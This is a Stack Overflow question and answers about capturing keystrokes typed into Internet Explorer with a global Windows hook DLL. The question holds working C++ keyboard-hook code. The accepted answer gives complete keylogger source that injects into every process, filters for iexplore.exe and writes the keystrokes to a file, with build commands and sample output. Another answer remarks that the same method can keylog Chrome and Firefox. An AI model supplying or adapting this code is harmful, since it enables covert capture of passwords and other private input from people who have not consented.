0

My goal is to capture keystrokes of the user when he is interacting with Internet Explorer (iexplore.exe).

This is my DLL code for a DLL called hook.dll.

#include <iostream>
#include <windows.h>

extern "C" __declspec(dllexport)
LRESULT keyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0) {
        std::cout << "nCode: " << nCode << "; wParam: " << wParam
                  <<" (" << char(wParam) << "); scan code: "
                  << ((lParam & 0xFF0000) >> 16)
                  << "; transition state: " << ((lParam & 0x80000000) >> 31)
                  << std::endl;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    std::cout << "hinstDLL: " << hinstDLL
              << "; fdwReason: " << fdwReason
              << "; lpvReserved: " << lpvReserved << std::endl;

    return TRUE;
}

Here is the main program code for main.exe:

#include <iostream>
#include <windows.h>

int main(int argc, char **argv)
{
    HMODULE dll = LoadLibrary("hook.dll");
    if (dll == NULL) {
        std::cerr << "LoadLibrary error " << GetLastError() << std::endl;
        return 1;
    }

    HOOKPROC callback = (HOOKPROC) GetProcAddress(dll, "keyboardHook");
    if (callback == NULL) {
        std::cerr << "GetProcAddress error " << GetLastError() << std::endl;
        return 1;
    }

    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, callback, dll, NULL);
    if (hook == NULL) {
        std::cerr << "SetWindowsHookEx error " << GetLastError() << std::endl;
        return 1;
    }

    MSG messages;
    while (GetMessage (&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
    UnhookWindowsHookEx(hook);
}

I compile this project with these commands:

vcvars32.bat
cl /LD hook.cc /link user32.lib
cl main.cc /link user32.lib

When I execute the program, and press the keys A, B and C, I see the following output.

C:\>main
hinstDLL: 10000000; fdwReason: 1; lpvReserved: 00000000
nCode: 0; wParam: 65 (A); scan code: 30; transition state: 0
nCode: 0; wParam: 65 (A); scan code: 30; transition state: 1
nCode: 0; wParam: 66 (B); scan code: 48; transition state: 0
nCode: 0; wParam: 66 (B); scan code: 48; transition state: 1
nCode: 0; wParam: 67 (C); scan code: 46; transition state: 0
nCode: 0; wParam: 67 (C); scan code: 46; transition state: 1

This is all good so far, but this program captures keystrokes made anywhere on the desktop. But I want to capture only those keystrokes that are made on Internet Explorer. I believe I need to modify the SetWindowsHookEx(WH_KEYBOARD, callback, dll, NULL); call in main program and pass the thread ID of the Internet Explorer as the fourth argument to this call. Could you please help me to solve this problem?

Lone Learner
  • 18,088
  • 20
  • 102
  • 200
  • It could have multiple thread IDs. – chris Jan 03 '14 at 08:53
  • It appears the link below has the answer. http://stackoverflow.com/questions/5922248/c-hooking-to-a-different-application-how-to-find-thread-id-from-process-id – rakeshdn Jan 03 '14 at 11:51

2 Answers2

0

You have two solutions:

1 Use SetWindowsHookEx WH_KEYBOARD with TIDs. That's not easy, as you'll have to imlement a mechanism for detecting new threads.

2 Use SetWindowsHookEx WH_GETMESSAGE for all threads. You'll have to filter for KeyBoard messages and for the process name. That's much simpler (except that you'll miss the 64 bits process if your EXE is 32, or the other way arround, unless you build and run two EXEs and two DLLs (32/64). Bonus point: you will be able to easily keylog Chrome and Firefox.

manuell
  • 7,528
  • 5
  • 31
  • 58
0

Here is a solution code based on manuell's suggestion of using WH_GETMESSAGE.

DLL code in hook.cc:

#include <iostream>
#include <fstream>
#include <windows.h>
#include <psapi.h>

extern "C" __declspec(dllexport)
LRESULT myHook(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION) {
        std::ofstream outputTxt("C:\\out.txt",
                                std::ofstream::out | std::ofstream::app);
        PMSG msg = (PMSG) lParam;

        // Get PID of process
        DWORD pid;
        GetWindowThreadProcessId(msg->hwnd, &pid);

        // Get process name
        char filename[1024];
        HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
                               FALSE, pid);
        GetModuleBaseName(h, NULL, filename, sizeof filename);

        // Log details only if it is Internet Explorer
        if (msg->message == WM_KEYUP && strcmp(filename, "iexplore.exe") == 0) {
            outputTxt << "nCode: " << nCode << "; wParam: " << wParam 
                      << "; message: " << msg->message
                      << "; keycode: " << msg->wParam << " '"
                      << char(msg->wParam) << "'"
                      << "; filename: " << filename << std::endl;
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    std::cout << "hinstDLL: " << hinstDLL
              << "; fdwReason: " << fdwReason
              << "; lpvReserved: " << lpvReserved << std::endl;

    return TRUE;
}

Main program code in main.cc:

#include <iostream>
#include <windows.h>

int main(int argc, char **argv)
{
    HMODULE dll = LoadLibrary("hook.dll");
    if (dll == NULL) {
        std::cerr << "LoadLibrary error " << GetLastError() << std::endl;
        return 1;
    }

    HOOKPROC callback = (HOOKPROC) GetProcAddress(dll, "myHook");
    if (callback == NULL) {
        std::cerr << "GetProcAddress error " << GetLastError() << std::endl;
        return 1;
    }

    HHOOK hook = SetWindowsHookEx(WH_GETMESSAGE, callback, dll, NULL);
    if (hook == NULL) {
        std::cerr << "SetWindowsHookEx error " << GetLastError() << std::endl;
        return 1;
    }

    MSG messages;
    while (GetMessage(&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
    UnhookWindowsHookEx(hook);
}

Compiled this project as follows.

vcvars32.bat
cl /D_WIN32_WINNT=0x0401 /LD hook.cc /link user32.lib /link psapi.lib
cl main.cc /link user32.lib

Since my EXE was 32-bit, I launched 32-bit Internet Explorer, clicked on the address bar and pressed the keys A, B and C. This is the result I found in C:\out.txt.

nCode: 0; wParam: 1; message: 257; keycode: 65 'A'; filename: iexplore.exe
nCode: 0; wParam: 1; message: 257; keycode: 66 'B'; filename: iexplore.exe
nCode: 0; wParam: 1; message: 257; keycode: 67 'C'; filename: iexplore.exe

Launching 64-bit Internet Explorer, and doing the same thing yielded no results in C:\out.txt.

Lone Learner
  • 18,088
  • 20
  • 102
  • 200